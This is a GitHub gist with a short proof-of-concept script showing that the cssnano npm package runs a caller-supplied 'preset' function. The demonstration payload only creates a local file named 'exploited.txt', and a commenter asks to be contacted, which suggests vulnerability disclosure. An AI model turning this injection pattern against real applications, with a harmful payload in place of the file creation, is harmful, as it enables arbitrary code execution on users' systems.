Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active November 9, 2023 16:18
Show Gist options
  • Save mcoimbra/907ec2dc71662e7199bad4fc10792268 to your computer and use it in GitHub Desktop.
Save mcoimbra/907ec2dc71662e7199bad4fc10792268 to your computer and use it in GitHub Desktop.
Package cssnano: Allows a custom function to be passed into its internals (#56 in src/index.js) which will then execute it. In this example an 'exploited.txt' file is created.
'use strict'
const pkg = require('cssnano');
const options = {
preset: function() {
const fs = require('node:fs');
let fd = fs.openSync('exploited.txt', 'a');
fs.closeSync(fd);
return {
plugins: []
};
}
}
// The callback in 'options.preset' will be executed and a local 'exploited.txt' file will be created.
const processor = pkg(options);
@ludofischer
Copy link

You can contact me on GitHub I think.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment